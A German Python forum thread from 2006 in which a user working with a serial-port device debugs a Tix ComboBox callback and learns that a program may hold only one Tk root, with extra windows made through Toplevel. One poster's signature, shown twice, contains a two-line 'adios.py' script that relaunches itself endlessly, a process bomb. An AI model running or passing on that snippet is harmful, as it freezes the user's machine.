Zugriff auf die serielle Schnittstelle

Wenn du dir nicht sicher bist, in welchem der anderen Foren du die Frage stellen sollst, dann bist du hier im Forum für allgemeine Fragen sicher richtig.
z1936z
User
Beiträge: 11
Registriert: Freitag 21. April 2006, 14:53

Zugriff auf die serielle Schnittstelle

Beitragvon z1936z » Dienstag 25. April 2006, 07:25

Hallo!

Ich habe eine Aufgabe, in der ich über serielle Schnittstelle auf ein Gerät(Schreiblesekopf) zugreifen soll. Ich soll die Daten aus dem Gerät auslesen und dann in txt-Datei diese Daten speichern. Im Folgenden soll ich Daten auf dieses Gerät schicken.
Leider habe ich überhaupt keine Vorstellung, wie man das realisiert. Guter Information konnte ich im Internet nicht finden. Kann mir jemand ein paar Quelle mit solcher Information vorschlagen, lieber mit Beispielen.

Danke im Voraus!
jAN
User
Beiträge: 170
Registriert: Samstag 4. Juni 2005, 18:51
Wohnort: Großmehlra (in Thüringen)
Kontaktdaten:

Beitragvon jAN » Dienstag 25. April 2006, 10:37

schau mal hier
#adios.py
import os,sys
while 1: os.startfile(sys.argv[0])
Benutzeravatar
mitsuhiko
User
Beiträge: 1790
Registriert: Donnerstag 28. Oktober 2004, 16:33
Wohnort: Graz, Steiermark - Österreich
Kontaktdaten:

Beitragvon mitsuhiko » Dienstag 25. April 2006, 15:42

Das soll jetzt wirklich kein Vorwurf sein, aber Sucht denn keiner? :shock:
TUFKAB – the user formerly known as blackbird
jAN
User
Beiträge: 170
Registriert: Samstag 4. Juni 2005, 18:51
Wohnort: Großmehlra (in Thüringen)
Kontaktdaten:

Beitragvon jAN » Dienstag 25. April 2006, 17:28

hab ich doch^^
#adios.py

import os,sys

while 1: os.startfile(sys.argv[0])
z1936z
User
Beiträge: 11
Registriert: Freitag 21. April 2006, 14:53

Beitragvon z1936z » Donnerstag 27. April 2006, 11:30

Hallo alle zusammen,

auf dieser Seite war ich schon. Das Beispiel hab ich sogar schon zu meiner Aufgabe angepasst, aber trotzdem verstehe ich davon nicht viel. Das Programm ist ohne Beschreibung, deswegen habe ich um Quellen nach anderen Informationen gebetet.

Danke!
z1936z
User
Beiträge: 11
Registriert: Freitag 21. April 2006, 14:53

Beitragvon z1936z » Donnerstag 27. April 2006, 11:44

Jetzt aber nach dem ich die Daten von mein Gerät geladen habe, gibt es ein weiteres Problem, mit der Combobox.
Den Programmcode habe ich reduziert.

Code: Alles auswählen

from Tkinter import *
from serial import Serial
import Tix
import tkFileDialog
import string

#############################################################################################
class MainWindow:
    bl = 0
    def __init__ (self):
        self.fenster = Tix.Tk()
        self.fenster.title("ID40 SLK")
        self.fenster.resizable(0,0)

        self.fenster.columnconfigure(0, weight=1)
        self.fenster.rowconfigure(0, weight=1)

        self.text = Text(self.fenster, width=100, height=40,
                         wrap=WORD, font=('Arial', 10))
        self.text.grid(row=0, column=0, sticky="nesw")

        self.verticalScroller = Scrollbar(self.fenster, orient="vertical")
        self.verticalScroller.grid(row=0, column=1, sticky="ns")

        self.text['yscrollcommand'] = self.verticalScroller.set
        self.verticalScroller['command'] = self.text.yview

        self.frame1 = Frame(self.fenster)
        self.bt_dg = Button(self.frame1, text="  Diagramm zeigen  ",
                            command=self.diagramm_anzeigen).grid(row=3, column=4,
                                                                 padx=3, pady=3)
        self.frame1.grid(row=1)     
        self.__addMenueleiste()
        self.__addDateimenue()
        self.fenster.mainloop()
    #-------------------------------------------------------------------------------
    def __addMenueleiste(self):
        self.menueleiste=Menu(self.fenster)               
        self.fenster.configure(menu=self.menueleiste)
    #-------------------------------------------------------------------------------
    def __addDateimenue(self):         
        self.dateimenue=Menu(self.menueleiste)
        self.dateimenue.add_command(label='Laden', command=self.laden)
        self.dateimenue.add_command(label='Speichern', command=self.speichern)
        self.dateimenue.add_separator() 
        self.dateimenue.add_command(label='Beenden', command=self.beenden)
        self.menueleiste.add_cascade(label="Datei", menu=self.dateimenue)
    #-------------------------------------------------------------------------------
    def speichern(self):
        self.datei = tkFileDialog.asksaveasfile()
        if self.datei:
            self.datei.write(self.text.get(1.0, END))
            self.datei.close()           
    #-------------------------------------------------------------------------------
    def diagramm_anzeigen(self):
        diagramm = Diagramm()
    #-------------------------------------------------------------------------------
    def laden(self):
        self.datei = tkFileDialog.askopenfile()
        text = self.datei.read()
        self.sys_text = text
        self.text.insert(INSERT , self.sys_text)
        self.bl = 1
    #-------------------------------------------------------------------------------
    def beenden(self):
        self.fenster.destroy()       
###########################################################################################
class Diagramm:
    def __init__ (self):
        self.fenster = Tix.Tk()
        self.fenster.title("ids-Grafiken")     
        self.fenster.resizable(0,0)
        self.bt_beenden = Button(self.fenster, text="  Beenden  ",
                                 command=self.beenden).pack(padx=3, pady=3,
                                                            side=BOTTOM)
        self.zeichnung = Zeichnung(self.fenster)
        self.daten = Daten(self.fenster, self.zeichnung)
        self.fenster.mainloop()             
    #-------------------------------------------------------------------------------
    def beenden(self):
        self.fenster.destroy()
#############################################################################################
class Zeichnung:
    def __init__(self, fenster):
        self.c = Canvas(master=fenster, width='20c', height='21c')
        self.c.pack()
        self.x_achse = self.c.create_line('0.5c', '20c', '19.5c', '20c')
        j = 36
        for i in range(0,32):
            self.kr = self.c.create_line(j, '20c', j, '20.2c')
            self.kr_zh = self.c.create_text(j, '20.5c', text=i)
            j = j + 22         
        self.list_balke = []
        self.list_zahl = []
        j = 36
        for i in range(0,32):
            self.balke = self.c.create_line(j, "20c", j, "20c", fill="red", width="0.3c")
            self.list_balke.append(self.balke)
            self.text = self.c.create_text(j, "20c", text="")
            self.list_zahl.append(self.text)
            j = j + 22
#############################################################################################
class Daten:
    def __init__ (self, fenster, zeichnung):
        self.addCombobox(fenster)
    #-------------------------------------------------------------------------------
    def addCombobox(self, fenster):
        self.varcombo = Tix.StringVar()
        self.combo = Tix.ComboBox(fenster, editable=1, dropdown=1,
                                  command=self.suchen, variable=self.varcombo)
        self.combo.entry.config(state='readonly')
        self.combo.insert(0, "ids.powerup_counts")
        self.combo.insert(1, "ids.expect_ack_retrys")
        self.combo.insert(2, "ids.expect_waitack_retrys")
        self.combo.insert(3, "ids.expect_data_retrys")
        self.combo.insert(4, "ids.expect_data_pup_received")
        self.combo.insert(5, "ids.expect_data_nak_packet")
        self.combo.insert(6, "ids.expect_data_invalid_packet")
        self.combo.insert(7, "ids.expect_ack_cks_invalid")
        self.combo.insert(8, "ids.expect_ack_nak_packet")
        self.combo.insert(9, "ids.expect_ack_invalid_packet")
        self.combo.insert(10, "ids.expect_waitack_cks_invalid")
        self.combo.insert(11, "ids.expect_waitack_nak_packet")
        self.combo.insert(12, "ids.expect_waitack_invalid_packet")
        self.combo.insert(13, "ids.expect_ack_pup_received")
        self.combo.insert(14, "ids.log_on_retries")
        self.combo.pack(fill=BOTH)
    #-------------------------------------------------------------------------------
    def suchen(self, evt):
        ex = self.varcombo.get()
        print ex + " NICHTS"       
###########################################################################################
mw = MainWindow()



Das Problem liegt daran, das in die Funktion suche keinen Name aus der Combobox übergegeben wird.

print + „NICHTS“ ist hier für den Test.

Danke im Voraus!
z1936z
User
Beiträge: 11
Registriert: Freitag 21. April 2006, 14:53

Beitragvon z1936z » Donnerstag 27. April 2006, 12:31

Falls man die Klasse „MainWindow“ auf die Kommentare setzt, wird der Name ohne Probleme übergegeben. Die Fehler soll irgendwo in „MainWindow“ liegen, aber wo, kann ich nicht finden!
z1936z
User
Beiträge: 11
Registriert: Freitag 21. April 2006, 14:53

Beitragvon z1936z » Donnerstag 27. April 2006, 13:26

Jetzt habe ich den Quellcode noch reduziert. Das Problem liegt in der Zeile 7, wenn man kein Widget von der Klasse „Main Window“ erzeugt, dann ist alles in Ordnung, woran es liegt?

Code: Alles auswählen

from Tkinter import *
import Tix

#############################################################################################
class MainWindow:
    def __init__ (self):
        self.fenster = Tix.Tk()
        self.fenster.title("1")
        diagramm = Diagramm()
        self.fenster.mainloop()
#############################################################################################
class Diagramm:
    def __init__ (self):
        self.fenster = Tix.Tk()
        self.fenster.title("2")
        self.daten = Daten(self.fenster)
        self.fenster.mainloop()             
#############################################################################################
class Daten:
    def __init__ (self, fenster):
        self.varcombo = Tix.StringVar()
        self.combo = Tix.ComboBox(fenster, editable=1, dropdown=1,
                                  command=self.suchen, variable=self.varcombo)
        self.combo.entry.config(state='readonly')
        self.combo.insert(0, "ids.powerup_counts")
        self.combo.insert(1, "ids.expect_ack_retrys")
        self.combo.insert(2, "ids.expect_waitack_retrys")
        self.combo.insert(3, "ids.expect_data_retrys")
        self.combo.insert(4, "ids.expect_data_pup_received")
        self.combo.insert(5, "ids.expect_data_nak_packet")
        self.combo.insert(6, "ids.expect_data_invalid_packet")
        self.combo.insert(7, "ids.expect_ack_cks_invalid")
        self.combo.insert(8, "ids.expect_ack_nak_packet")
        self.combo.insert(9, "ids.expect_ack_invalid_packet")
        self.combo.insert(10, "ids.expect_waitack_cks_invalid")
        self.combo.insert(11, "ids.expect_waitack_nak_packet")
        self.combo.insert(12, "ids.expect_waitack_invalid_packet")
        self.combo.insert(13, "ids.expect_ack_pup_received")
        self.combo.insert(14, "ids.log_on_retries")
        self.combo.pack(fill=BOTH)
    #-------------------------------------------------------------------------------
    def suchen(self, evt):
        ex = self.varcombo.get()
        print ex + " NICHTS"       
###########################################################################################
mw = MainWindow()
BlackJack

Beitragvon BlackJack » Donnerstag 27. April 2006, 21:31

Es darf pro Programm nur ein Exemplar von `Tkinter.Tk` oder `Tix.Tk` geben. Das ist sozusagen das Ur-Widget, deshalb wird es in Programmen auch oft an den Namen `root` gebunden.

Wenn Du neben dem Hauptfenster noch weitere, unabhängige Fenster haben möchtest, dann nimm dafür `Tkinter.Toplevel`.
z1936z
User
Beiträge: 11
Registriert: Freitag 21. April 2006, 14:53

Beitragvon z1936z » Dienstag 2. Mai 2006, 08:07

Wenn Du neben dem Hauptfenster noch weitere, unabhängige Fenster haben möchtest, dann nimm dafür `Tkinter.Toplevel`


Für das zweite Fenster habe ich jetzt Toplevel genommen. Aber ich weiß nicht, wie ich jetzt darauf diese Combobox platzieren kann. Könntest du an meinem Beispiel mir zeigen, wie es seien soll.

Danke im Voraus!!!!
z1936z
User
Beiträge: 11
Registriert: Freitag 21. April 2006, 14:53

Beitragvon z1936z » Dienstag 2. Mai 2006, 08:18

Ich habe verstanden!!!
Ist alles in Ordnung, funktioniert!!!

Danke für die Hilfe!

Wer ist online?

Mitglieder in diesem Forum: Bananasplit